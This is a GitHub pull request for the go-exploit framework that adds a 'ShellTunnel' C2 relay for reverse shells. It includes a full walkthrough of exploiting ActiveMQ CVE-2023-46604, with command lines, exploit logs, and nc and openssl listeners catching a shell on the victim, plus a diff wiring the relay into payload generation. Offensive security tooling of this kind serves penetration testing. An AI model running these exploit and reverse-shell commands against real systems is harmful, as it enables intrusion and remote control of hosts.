Skip to content

Conversation

@j-baines
Copy link
Contributor

@j-baines j-baines commented Oct 28, 2024

This was born while talking to the team about exploitation scenarios and documenting them. What I've done here isn't exactly what the team was talking about but I think useful. Here are the docs I wrote in shelltunnel.go.

// shelltunnel is a dumb C2 that shuttles shell traffic between a reverse shell origin and
// a connectback server. It essentially allows for this setup:
//
// | Box 1 |                       |     Box 2    |                      |    Box 3     |
// | nc -l | <- shell traffic ->   | shell tunnel | <- shell traffic ->  | shell origin |
//
// In this way, go-exploit on box 2 can act as an egress for box on victim network. The shelltunnel
// will just shuffle data between the two boxes. This is appealing over something like a socks5
// proxy or more advanced tunneling because it simply works and requires, for the exploit dev,
// no extra work beyond generating the initial shell (via *ShellServer or a binary or whatever).
//
// Usage example using an unencrypted reverse shell:
//
//	albinolobster@mournland:~/initial-access/feed/cve-2023-46604$ ./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12
//	time=2024-10-28T15:05:21.600-04:00 level=STATUS msg="Starting listener on 10.9.49.192:1270"
//	time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.56 port=61616 ssl=false "ssl auto"=false
//	time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.192:1270"
//	time=2024-10-28T15:05:21.601-04:00 level=STATUS msg="HTTP server listening for 10.9.49.192:8080/TMURWfRGRdSZ"
//	time=2024-10-28T15:05:23.603-04:00 level=STATUS msg=Connecting...
//	time=2024-10-28T15:05:23.630-04:00 level=STATUS msg="Sending exploit"
//	time=2024-10-28T15:05:23.656-04:00 level=STATUS msg="Sending payload"
//	time=2024-10-28T15:05:23.675-04:00 level=STATUS msg="Sending payload"
//	time=2024-10-28T15:05:23.757-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.56:48440"
//	time=2024-10-28T15:05:23.758-04:00 level=SUCCESS msg="Connect back to 10.9.49.12:1270 success!"
//	time=2024-10-28T15:05:28.633-04:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
//
// Above, you can see we've exploited a remote ActiveMQ (10.9.49.56), caught a reverse shell, and connected it back to a listener
// at 10.9.49.12:1270. The shell there looks like this:
//
//	parallels@ubuntu-linux-22-04-02-desktop:~$ nc -lvnp 1270
//	Listening on 0.0.0.0 1270
//	Connection received on 10.9.49.192 51478
//	pwd
//	/opt/apache-activemq-5.15.2
//
// The tunnel can also support catching and relaying TLS (or a mix of either). For example, the above can be updated like so:
//
//	./build/cve-2023-46604_linux-arm64 -e -rhost 10.9.49.56 -lhost 10.9.49.192 -lport 1270 -httpAddr 10.9.49.192 -c2 ShellTunnel -shellTunnel.cbHost 10.9.49.12 -shellTunnel.cbSSL -shellTunnel.sslListen
//
// And the reverse shell can now be caught by openssl:
//
//	parallels@ubuntu-linux-22-04-02-desktop:~$ openssl s_server -quiet -key key.pem -cert cert.pem -port 1270
//	pwd
//	/opt/apache-activemq-5.15.2

In the docs, you can see I tested with ActiveMQ. Here is the ActiveMQ diff:

+++ b/feed/cve-2023-46604/cve-2023-46604.go
@@ -130,9 +130,13 @@ func generatePayload(conf *config.Config) (string, bool) {
        generated := ""
 
        switch conf.C2Type {
+       case c2.ShellTunnel:
+               fallthrough
        case c2.SSLShellServer:
                output.PrintfStatus("Sending an SSL reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
                generated = reverse.JJS.Default(conf.Lhost, conf.Lport, true)
+       case c2.ShellTunnel:
+               fallthrough
        case c2.SimpleShellServer:
                output.PrintfStatus("Sending a reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
                generated = reverse.JJS.Default(conf.Lhost, conf.Lport, false)
@@ -218,6 +222,7 @@ func main() {
        supportedC2 := []c2.Impl{
                c2.SSLShellServer,
                c2.SimpleShellServer,
+               c2.ShellTunnel,
                c2.HTTPServeFile,
        }
        conf := config.NewRemoteExploit(

So, in my mind, this is essentially "for free". We just piggy-back on the existing payloads.

Edit: I also got really annoyed at lll linter and got rid of it.

@j-baines j-baines linked an issue Oct 28, 2024 that may be closed by this pull request
Copy link
Collaborator

@wvu wvu left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nice!

@j-baines j-baines merged commit 1a4f7f8 into main Oct 30, 2024
3 checks passed
@j-baines j-baines deleted the shelltunnel branch October 30, 2024 14:29
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

ShellTunnel C2

3 participants